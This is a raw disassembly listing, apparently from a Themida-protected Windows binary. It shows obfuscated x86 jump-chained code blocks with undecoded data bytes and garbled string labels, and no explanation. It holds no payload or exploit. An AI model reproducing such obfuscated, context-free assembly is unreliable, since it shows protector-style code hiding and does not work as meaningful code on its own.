		mov	esi, esp
		jmp	loc_51CA17
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 55000000h,	4BDh, 5DEE2900h, 12FBE9h, 81D3F700h
		dd 0BF7C09E3h, 9BB95124h, 814CEF4Dh, 8052D2E9h,	7E9C10Eh
		dd 1C8AC981h, 0BF571866h, 50514EFEh, 815FF909h,	419D18C1h
		dd 3887E922h, 0C1010000h, 0FFF261E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51D6F9:				; CODE XREF: Themida_:005126B0j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_512655
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0892404h, 81E68956h, 4C6h,	4EE8300h, 5C243487h, 0FF6004E9h
		dd 0EB8953FFh, 0FF7F3AE9h, 37C181FFh, 29BFA8E6h, 6055E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51D73E:				; CODE XREF: Themida_:005248F5j
		pop	ebx
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_51E69D
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 32A622C9h
		push	1A93h
		jmp	loc_5180D3
; ---------------------------------------------------------------------------
		dd 27BAE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D77A:				; CODE XREF: Themida_:00510F82j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_51B931
; ---------------------------------------------------------------------------

loc_51D78A:				; CODE XREF: Themida_:0051883Bj
		sub	ebx, 52664284h
		sub	ebx, 767337A6h
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 767337A6h
		add	ebx, eax
		pop	eax
		push	eax
		mov	eax, 7676270Fh
		jmp	loc_5154AD
; ---------------------------------------------------------------------------

loc_51D7B1:				; CODE XREF: Themida_:0051446Fj
		pop	edx
		push	ebx
		jmp	loc_516459
; ---------------------------------------------------------------------------
aFxai5Ua5aBxaSM	db '(ÃfX€ë5(ã€Ã5€Ã¡X€Ã;é#m',0
		align 10h
		dd 81E38953h, 4C3h, 4EB8300h, 0FFC627E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51D7E1:				; CODE XREF: Themida_:0051F2DFj
		mov	edx, 4
		sub	ebp, 791C3CBBh
		add	ebp, edx
		add	ebp, 791C3CBBh
		jmp	loc_513727
; ---------------------------------------------------------------------------

loc_51D7F9:				; CODE XREF: Themida_:005178DFj
		add	ebx, 3CCF7DF8h
		sub	ebx, 3A174776h
		sub	eax, ebx
		pop	ebx
		neg	eax
		neg	eax
		jmp	loc_513BB4
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0CCh
		dd 0E92E5F2Eh, 0FFFF5C8Ch, 0EA80C2FEh, 5AD328AFh, 8094B450h
		dd 5366DFCCh, 0DC3093B3h, 0EFE95B66h, 0FFFFFF9Ch, 50582434h
		dd 5DE9E089h, 81FFFF59h, 4C3h, 4EB8100h, 87000000h, 0E95C241Ch
		dd 0FFFF8970h, 4C781h, 8AE90000h, 81FFFFC4h, 0EF57F2C3h
		dd 502BE91Ah, 2C8B0000h, 4C48324h, 5C24048Fh, 24042966h
		dd 1E8AE99Ch, 8159FFFFh, 0C04978EDh, 0B7E1E958h, 1C89FFFFh
		dd 0F8E95424h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D897:				; CODE XREF: Themida_:00511E03j
		mov	esp, [esp]
		push	710Ch
		jmp	loc_517502
; ---------------------------------------------------------------------------

loc_51D8A4:				; CODE XREF: Themida_:0051EC9Aj
		pop	eax
		push	dword ptr [eax]
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 0C4805BB4h, 0B5B551C9h, 5366C5FEh, 0C3FEEB88h, 20E9DD88h
		dd 0B5000050h, 66E828F8h, 4EC8159h, 89000000h, 77B3241Ch
		dd 0FFE549E9h, 0C0F480FFh, 5358E588h, 682DE9h, 4C48300h
		dd 81FFEB83h, 9076B9EBh, 0F779E966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51D8F6:				; CODE XREF: Themida_:005108F6j
		xor	ebp, 6634F68h
		not	ebp
		jmp	loc_52019C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C781h, 0BA520000h, 4, 5AE9D729h, 50FFFF90h,	405E089h
		dd 53000000h, 0F334EBBBh, 0DBF74B50h, 0CB12EB81h, 4DE9AF0Ch
		dd 81FFFF63h, 332DC1F1h, 8CA3E938h, 1C8BFFFFh, 4C48124h
		dd 0E9000000h, 2C00h
; ---------------------------------------------------------------------------

loc_51D94C:				; CODE XREF: Themida_:0052404Ej
		push	726Ch
		mov	[esp], eax
		jmp	loc_5165CB
; ---------------------------------------------------------------------------

loc_51D959:				; CODE XREF: Themida_:0051FB9Dj
		add	esp, 4
		jmp	loc_51AE27
; ---------------------------------------------------------------------------
		dd 4C481h, 0E7C10000h, 68DFF706h, 4F43h, 0E9241C89h, 998h
		dd 0E305CB8h, 30582D28h, 0C201280Eh, 9CC4E958h,	0C581FFFFh
		dd 4, 0E9242C87h, 0FFFF3F37h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 0EE94E924h, 8B58FFFFh, 24E92434h, 52FFFF8Fh,	5D82E9h
		dd 1D46E900h, 0E952FFFFh, 95Bh
; ---------------------------------------------------------------------------

loc_51D9CC:				; CODE XREF: Themida_:0051FECAj
		mov	eax, 2EB5010Dh
		shl	eax, 4
		add	eax, 5E24F8E8h
		and	edx, eax
		pop	eax
		sub	edx, 1640124h
		push	edx
		xor	dword ptr [esp], 180559D7h
		pop	ebp
		xor	ebp, 180559D7h
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_51D4FF
; ---------------------------------------------------------------------------

loc_51DA07:				; CODE XREF: Themida_:00512DAEj
		push	esp
		pop	eax
		push	4F4Ah
		mov	[esp], ecx
		push	4
		pop	ecx
		jmp	loc_51A57B
; ---------------------------------------------------------------------------
		dd 3DACE681h, 5E93973h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DA27:				; CODE XREF: Themida_:00510036j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5203FD
; ---------------------------------------------------------------------------

loc_51DA34:				; CODE XREF: Themida_:00510716j
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_522F3E
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF742Bh, 5F5BC005h, 6864E91Ch, 3489FFFFh,	0E7895724h
		dd 4C781h, 0CCE90000h, 8BFFFF7Dh, 48F2424h, 52E95C24h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51DA6F:				; CODE XREF: Themida_:00522919j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		mov	eax, edx
		push	dword ptr [esp]
		jmp	loc_512433
; ---------------------------------------------------------------------------
		dd offset dword_553E68
		dw 8900h
		dd 0E953242Ch, 0FFFF3DC7h
; ---------------------------------------------------------------------------

loc_51DAB4:				; CODE XREF: Themida_:00513852j
		mov	dh, ch
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_51818A
; ---------------------------------------------------------------------------
		db 59h,	8Bh, 2Ch
		dd 4C48124h, 87000000h,	248B243Ch, 24043024h, 1C32E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DADA:				; CODE XREF: Themida_:0051CB76j
		sub	esi, edi
		pop	edi
		xor	esi, 77F85A15h
		mov	ebx, esi
		pop	esi
		neg	ebx
		or	ebx, 6B26D77h
		jmp	loc_522574
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 589BB24h,	5C014F92h, 1C8B0824h, 4C48324h
		dd 396CB850h, 0DBE96E87h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DB13:				; CODE XREF: Themida_:0051B64Cj
		push	477h
		jmp	loc_515F3A
; ---------------------------------------------------------------------------

loc_51DB1D:				; CODE XREF: Themida_:0050FA9Cj
		xor	edx, 0D2EEA6A5h
		mov	edi, edx
		pop	edx
		push	ebp
		jmp	loc_520A9C
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C7h, 0C81DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DB3A:				; CODE XREF: Themida_:00510546j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	26B7h
		jmp	loc_522815
; ---------------------------------------------------------------------------
aYs0		db 'YéÒ0',0
		dw 2D00h
a73pXbs8Qzsv	db '²}Þ7-3-Æ)ÁXé8`ïZé‚:',0
		db 0
; ---------------------------------------------------------------------------

loc_51DB6F:				; CODE XREF: Themida_:0052024Ej
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_516BBE
; ---------------------------------------------------------------------------
		dd 24048B66h, 330D68h, 594FE900h, 0EE810000h, 4, 5C243487h
		dd 81242489h, 42404h, 0C8B0000h, 4C48324h, 4A1D68h, 24348900h
		dd 468h, 0BD555E00h, 38494ECDh,	11EDE981h, 84E94EE4h, 8100004Dh
		dd 6A3899CAh, 6850552Ch, 49B504F4h, 8124048Bh, 4C4h, 2DD8F700h
		dd 0B218F717h, 0C158C589h, 0F58707EDh, 0FF1F42E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51DBE9:				; CODE XREF: Themida_:00515CDBj
		mov	edi, 3C0F2045h
		xor	ebp, edi
		jmp	loc_51B842
; ---------------------------------------------------------------------------
aTxsse		db 'TXé‘e',0
		align 4
		dd 0E932FF66h, 0FFFF1B08h, 815AD129h, 0B55022E1h, 75E1812Ah
		dd 817F6861h, 6E6594C1h, 0DFC98167h, 0F74A1B5Dh, 0E8F181D9h
		dd 2944B912h, 34FF59CEh, 89525924h, 4C281E2h, 57000000h
		dd 4BFh, 5FFA2900h, 5C241487h, 89240C89h, 1ABF57E1h, 0E92BC167h
		dd 0FFFF7230h
; ---------------------------------------------------------------------------

loc_51DC54:				; CODE XREF: Themida_:00517A75j
		add	esp, 4
		add	ebx, edx
		push	edx
		mov	edx, 0
		add	edx, ebx
		add	eax, [edx]
		mov	edx, [esp]
		jmp	loc_51BD8E
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 1DEB8100h, 1009366h, 1DC381D3h, 5A009366h, 31241C33h
		dd 68E9241Ch
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51DC8B:				; CODE XREF: Themida_:00511482j
		push	esi
		mov	esi, 2
		sub	ebp, 5DA40B33h
		jmp	loc_521248
; ---------------------------------------------------------------------------
		dd 8158C201h, 4839CEEAh, 0EEBB533Ah, 297DB39Dh,	0D6895BDAh
		dd 5A2434FFh, 8104C483h, 4D6626EAh, 0E3F9E903h,	0FD28FFFFh
		dd 0FFC018E9h, 24048FFFh, 8904EC83h, 6368242Ch,	8900002Fh
		dd 7EE9241Ch
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DCDF:				; CODE XREF: Themida_:0051E6C0j
		add	edx, ebx
		jmp	loc_516E26
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF781Dh, 0C581E589h, 4, 81EE9h
		db 0
; ---------------------------------------------------------------------------

loc_51DCF9:				; CODE XREF: Themida_:00513676j
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_514399
; ---------------------------------------------------------------------------
		dw 2C5Ah
		dd 83C82826h, 1C8904ECh, 26B324h, 2434E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51DD26:				; CODE XREF: Themida_:0050FB68j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		add	edi, 4
		add	edi, 4
		jmp	loc_51B456
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 7D6BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DD52:				; CODE XREF: Themida_:0051CAE2j
		dec	ebx
		shr	ebx, 1
		or	ebx, 7AC83E93h
		xor	ebx, 28F877ABh
		jmp	loc_51A8CA
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E2895204h, 4C281h, 0BE560000h, 4, 0E95EF229h, 6760h
		dd 4EC815Ch, 89000000h,	0E6892434h, 4C681h, 0CAE90000h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51DD97:				; CODE XREF: Themida_:0051CE10j
		add	ebp, edi
		sub	ebp, 414F3315h
		pop	edi
		jmp	loc_51D345
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 0CAE95EF2h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DDB3:				; CODE XREF: Themida_:00512F79j
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_521355
; ---------------------------------------------------------------------------
		db 57h,	54h, 0E9h
		dd 0FFFFA119h, 242C875Bh, 6824248Bh, 7EB5h, 0BA241489h
		dd 4, 565AD301h, 0FF6414E9h, 53E589FFh,	4BBh, 0E9DD0100h
		dd 0B73h, 2EBCB951h, 0B9510363h, 3632EC0h, 0FFCB1AE9h
		dd 21C281FFh, 0E993E4F2h, 0CF1h, 241C8B5Ah, 1FFBE9h, 9CE95300h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51DE33:				; CODE XREF: Themida_:005232F7j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		not	edx
		sub	edx, 1
		push	ebp
		mov	ebp, 13D2403Bh
		jmp	loc_51E0F4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 1D606824h, 1C890000h, 56E38924h, 4BEh, 69E95500h, 8100004Ch
		dd 0D2F29EAh, 7151E977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DE7A:				; CODE XREF: Themida_:0050FEA6j
		xor	edx, [esp]
		jmp	loc_510680
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 2DED8003h, 459E800h,	0B4505115h, 0E9E188C8h,	6FD6h
; ---------------------------------------------------------------------------

loc_51DE98:				; CODE XREF: Themida_:00517800j
		pop	ebx
		jmp	loc_51E781
; ---------------------------------------------------------------------------

loc_51DE9E:				; CODE XREF: Themida_:00522317j
		xor	ebp, eax
		not	eax
		xchg	eax, ebp
		xor	ebp, 0B0B08080h
		mov	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	75C1h
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_51261C
; ---------------------------------------------------------------------------

loc_51DECE:				; CODE XREF: Themida_:0052026Fj
		push	esp
		jmp	loc_519E42
; ---------------------------------------------------------------------------
		dd 0EA81FA01h, 2C231EE6h, 4C3815Fh, 2900715Fh, 30CDE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DEEA:				; CODE XREF: Themida_:00514A8Cj
		pop	ecx
		jmp	loc_520877
; ---------------------------------------------------------------------------
		dd 2817C380h, 3C2C5BD8h, 0FF52F8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51DEFD:				; CODE XREF: Themida_:0051B92Cj
		pop	ecx
		jmp	loc_51D497
; ---------------------------------------------------------------------------
		db 81h
		dd 386947CBh, 6E3C167h,	0C0E95243h, 5CFFFF8Eh, 48BE530h
		dd 4C48124h, 0E9000000h, 0FFFFA384h, 0BF243C89h, 1B95272Ch
		dd 504FD7F7h, 0BCE9E089h, 0BBFFFFA5h, 4008161Ch, 25CAF381h
		dd 0BA5249ADh, 0F65ACC2Eh, 15AD301h, 0C875BD9h,	0E503E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51DF56:				; CODE XREF: Themida_:00524638j
		pop	ecx
		jmp	loc_52322F
; ---------------------------------------------------------------------------
		dd 0DBF1815Dh, 815FFF7Fh, 0F95187C7h, 23EF813Ch, 14DFB44h
		dd 23C781CFh, 814DFB44h, 0F95187EFh, 2434FF3Ch,	83240C8Bh
		dd 30E904C4h, 66FFFF1Fh, 0E831665Ah, 0EB81665Dh, 8166230Dh
		dd 660C48EBh, 0B50C381h, 28A2E9h, 0C4815B00h, 4, 0B0505253h
		dd 90E2E94Eh, 44BDFFFFh, 290AE406h, 5D04246Ch, 69C9B951h
		dd 4C0145A3h, 0E9590424h, 0FFFF173Ch
; ---------------------------------------------------------------------------

loc_51DFD0:				; CODE XREF: Themida_:0051F609j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebx, eax
		push	eax
		push	edi
		mov	edi, 5BD136F1h
		xor	edi, 50BC32FCh
		neg	edi
		shr	edi, 4
		add	edi, 2E001CC9h
		push	edi
		pop	eax
		mov	edi, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, 65A71A58h
		add	eax, 1
		xor	eax, 4A94E90h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	1C77h
		mov	[esp], eax
		push	ebp
		mov	ebp, 471274EBh
		add	ebp, 319C7000h
		add	ebp, 44002D88h
		jmp	loc_5111EA
; ---------------------------------------------------------------------------
		dw 8951h
		dd 3EDAE9E1h, 3C89FFFFh, 4BF24h, 0ED810000h, 1F280B25h
		dd 315EC581h, 0FD011D50h, 315EED81h, 0B8501D50h, 1F280B25h
		dd 0FFB043E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51E079:				; CODE XREF: Themida_:00516958j
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 17AE31BFh
		jmp	loc_51AE13
; ---------------------------------------------------------------------------
		db 53h,	50h, 0B4h
		dd 0FBCC808Ch, 80F3EC80h, 0E78867ECh, 0D0B7E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51E09E:				; CODE XREF: Themida_:00521E24j
		add	edi, 4
		jmp	loc_512A2B
; ---------------------------------------------------------------------------

loc_51E0A9:				; CODE XREF: Themida_:00522AD3j
		mov	edi, 351188Eh
		jmp	loc_51B7C5
; ---------------------------------------------------------------------------

loc_51E0B3:				; CODE XREF: Themida_:005127B3j
		pop	edi
		push	0C23h
		mov	[esp], edi
		mov	edi, 8C623BBh
		neg	edi
		inc	edi
		push	esi
		mov	esi, 0F739DC42h
		sub	edi, esi
		pop	esi
		add	ebx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5109D7
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 0E9h
		dd 5288h
; ---------------------------------------------------------------------------

loc_51E0F4:				; CODE XREF: Themida_:0051DE50j
		add	ebp, 4F896B30h
		sub	edx, ebp
		pop	ebp
		add	ebp, edx
		pop	edx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 64CC31A2h
		and	eax, 44FD3201h
		add	eax, 0BB33D004h
		push	eax
		sub	dword ptr [esp], 5B3E75C0h
		pop	ecx
		add	ecx, 5B3E75C0h
		pop	eax
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51484E
; ---------------------------------------------------------------------------

loc_51E132:				; CODE XREF: Themida_:0051170Aj
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 6AD4271Ch
		push	ebx
		mov	ebx, 1C575ABh
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_52106A
; ---------------------------------------------------------------------------
		dw 0D905h
		dd 0F7330371h, 2DC60DD8h, 0B63526E3h, 352C675Eh, 8B98635Dh
		dd 7EE9C501h, 0FFFFFF93h, 26E92434h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51E17B:				; CODE XREF: Themida_:00516C91j
		mov	ebx, [esp]
		push	ecx
		jmp	loc_521A7B
; ---------------------------------------------------------------------------
		dd 7FE9E589h, 2D000015h, 79BE7FF1h, 6765E9h
		db 0
; ---------------------------------------------------------------------------

loc_51E195:				; CODE XREF: Themida_:0051EEA5j
		add	ebx, 1FF43C42h
		add	ebx, 54F04BAFh
		pop	eax
		push	ebp
		mov	ebp, 338C22B1h
		jmp	loc_51788E
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 0BAh
		dd 89FFFF23h, 4C781E7h,	50000000h, 0FF5796E9h, 47F181FFh
		dd 812B3D0Dh, 3250A8E9h, 6557E99Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51E1D2:				; CODE XREF: Themida_:0051D4FAj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	[edi+24h], edx
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_5112C4
; ---------------------------------------------------------------------------
		dd offset dword_578968
		align 4
		dd 68242C89h, 23811CC5h, 99E9535Dh
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51E203:				; CODE XREF: Themida_:005198A8j
		add	ebx, edi
		pop	edi
		add	ebx, 61A90539h
		add	ebx, edi
		sub	ebx, 61A90539h
		sub	ebx, 1BE02FB9h
		add	ebx, 2F755B53h
		push	0EAAh
		jmp	loc_51B234
; ---------------------------------------------------------------------------
		dw 0C529h
		dd 3889BB53h, 0EB8151EAh, 43F33379h, 0B1C0EB81h, 0DD29E5B1h
		dd 4481585Bh, 0F300424h, 6C0152B9h, 6C810424h, 0F300424h
		dd 34FF52B9h, 0C4815D24h, 4, 8324048Bh,	4C6804C4h, 89000064h
		dd 0EC68243Ch, 89000041h, 0AA68241Ch, 89000022h, 7E9240Ch
		dd 89000010h, 89525AD1h, 5AD089CAh, 81240C8Bh, 4C4h, 6CEE8100h
		dd 0E952DC65h, 0FFFFD102h, 81242C8Bh, 4C4h, 68515500h
		dd 22BD0F21h, 592434FFh, 4C481h, 0C1810000h, 6518439Ah
		dd 4A94BE56h, 0F1317BFCh, 2DF1815Eh, 89FC2918h,	392D59CDh
		dd 0E9221675h, 0FFFFA585h
; ---------------------------------------------------------------------------

loc_51E2DC:				; CODE XREF: Themida_:005193C3j
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_51850F
; ---------------------------------------------------------------------------

loc_51E2E5:				; CODE XREF: Themida_:0051B868j
		pop	eax
		add	esp, 4
		add	ebx, edi
		pop	edi
		push	54CDh
		mov	[esp], ebx
		jmp	loc_5205BD
; ---------------------------------------------------------------------------

loc_51E2F9:				; CODE XREF: Themida_:0051EA6Cj
		sub	cl, dl
		pop	edx
		jmp	loc_51166E
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 2B1044A8h, 0A8ED815Dh, 0E92B1044h, 0FFFFF72Eh, 0FB10B9BBh
		dd 5BDF095Ch, 4DDEBD55h, 0CE90D3Fh, 0BAFFFFB1h,	36BF3B97h
		dd 8245401h, 246C015Ah,	246C8104h, 0BF3B9704h, 6E685036h
		dd 58104566h, 8244401h,	8324048Bh, 0E95D04C4h, 0FFFF13B8h
		dd 3625C1BDh, 2626E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51E35E:				; CODE XREF: Themida_:00512A39j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edi
		push	1
		jmp	loc_5102DA
; ---------------------------------------------------------------------------
aAS7		db '€ËÛé¶7',0
		dd 42D5F00h, 8903C6B2h,	2AC3E9C2h, 3C330000h, 0ED21E924h
		dd 348BFFFFh, 4C48124h,	0E9000000h, 0FFFF9B3Bh,	4440E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51E3A6:				; CODE XREF: Themida_:0051867Cj
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_511E50
; ---------------------------------------------------------------------------
		db 0B8h, 80h, 30h
		dd 0CBE91A6Bh, 2900001Ch, 0F187E9FDh, 0C789FFFFh, 3C8BFB89h
		dd 5DE0E924h, 68550000h, 5A4Bh,	0BE243489h, 6666170Ch
		dd 0A1FB43BDh, 0E9F501C2h, 0FFFF57FFh, 0E9D18859h, 1040h
		dd 0C381E389h, 4, 25AAE9h, 54C68100h, 81769048h, 8CC5E1C6h
		dd 6DBFE990h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51E40E:				; CODE XREF: Themida_:0051A640j
		push	eax
		mov	eax, esp
		jmp	loc_51B900
; ---------------------------------------------------------------------------
		dw 55ADh
		dd 0C5815D54h, 4, 4ED81h, 2C870000h, 24248B24h,	68243489h
		dd 7B8F0DFDh, 6EE815Eh,	2D7A27CAh, 1D72750Dh, 1B93E9h
		dd 0D1D7F700h, 3EF781EFh, 8942FE7Ch, 0C2815FFBh, 1B6E3367h
		dd 4BB2C281h, 0DA01478Eh, 4BB2EA81h, 0EA81478Eh, 1B6E3367h
		dd 0FFC5F8E9h, 24248BFFh, 0B8240489h, 4, 0EEE9C501h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_51E483:				; CODE XREF: Themida_:00521BECj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_51755A
; ---------------------------------------------------------------------------
		db 42h,	53h, 0BBh
		dd 4D6F0184h, 0FF594CE9h, 240C87FFh, 24048B5Ch,	4C481h
		dd 7C010000h, 3C8B0424h, 4C48324h, 81242C8Bh, 4C4h, 98E95000h
		dd 0B4FFFF6Eh, 80CCFE86h, 0E788D3F4h, 3076B458h, 241C8BFCh
		dd 6804C483h, 195Fh, 52241C89h,	0F7884FB6h, 0FFA699E9h
		dd 0F8EA81FFh, 811E7651h, 7C16A4EAh, 2434FF24h
		db 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5229A5
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 1DF4E9h
		db 0
; ---------------------------------------------------------------------------

loc_51E50D:				; CODE XREF: Themida_:0051BC95j
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_5148D8
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8704C5h, 7E95C24h,	49FFFFCEh, 48CAE9h
		db 0
; ---------------------------------------------------------------------------

loc_51E529:				; CODE XREF: Themida_:005106E8j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	edi
		jmp	loc_5106B2
; ---------------------------------------------------------------------------

loc_51E53A:				; CODE XREF: Themida_:00513EC7j
		mov	edx, 3CFD0FE9h
		push	6B43h
		mov	[esp], ebx
		mov	ebx, 58F6364Eh
		neg	ebx
		push	esi
		jmp	loc_512DEF
; ---------------------------------------------------------------------------
		dd 1E154105h, 3C63E912h, 0F6810000h, 464F7660h,	69E9F101h
		dd 89FFFFB7h, 0E189240Ch, 4BD55h, 0C1810000h, 7D4B1BE8h
		dd 0E981E901h, 7D4B1BE8h, 4E9835Dh, 5C240C87h, 68243C89h
		dd 48E9h, 31A268h, 24248900h, 0FF9E23E9h, 81D6F7FFh, 0F6C918F6h
		dd 5EF329DEh, 34D1E9h, 0C8B5D00h, 0E2895224h, 4C281h, 4DE90000h
		dd 89FFFF3Fh, 0CBD6E9E6h, 0C166FFFFh, 0C16607EFh, 876606EFh
		dd 1511E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51E5DA:				; CODE XREF: Themida_:00510A77j
		xor	ecx, 5602602Eh
		jmp	loc_517D0C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0BA241489h, 3C32563Dh, 6217C781h, 0D7297C0Bh, 18BBE9h
		dd 24148700h, 63A4E9h
		db 0
; ---------------------------------------------------------------------------

loc_51E605:				; CODE XREF: Themida_:005169A9j
		push	edi
		mov	edi, 1CF173E6h
		add	ecx, 7E1034B9h
		add	ecx, edi
		sub	ecx, 7E1034B9h
		pop	edi
		pop	edi
		and	ebx, ecx
		jmp	loc_5126F4
; ---------------------------------------------------------------------------

loc_51E622:				; CODE XREF: Themida_:0052275Fj
		add	bl, dh
		pop	edx
		sub	bl, cl
		jmp	loc_51BB0B
; ---------------------------------------------------------------------------
		dd 52D831ADh, 4EC81h, 2C890000h, 0BB535124h, 53C67324h
		dd 965CCAB9h, 5BD9316Ch, 64B95156h, 81011336h, 0B86EFAE9h
		dd 83BE5678h, 170A16Ah,	0E1C15EF1h, 0DEC18106h,	81591B26h
		dd 5F47A6E9h, 0E02E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51E672:				; CODE XREF: Themida_:0051ADC0j
		sub	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 66DA08D0h
		shl	edi, 4
		push	ecx
		mov	ecx, 200A7446h
		or	edi, ecx
		pop	ecx
		not	edi
		jmp	loc_515E4E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0CF682404h, 0E9000051h, 0FFFFB49Fh
; ---------------------------------------------------------------------------

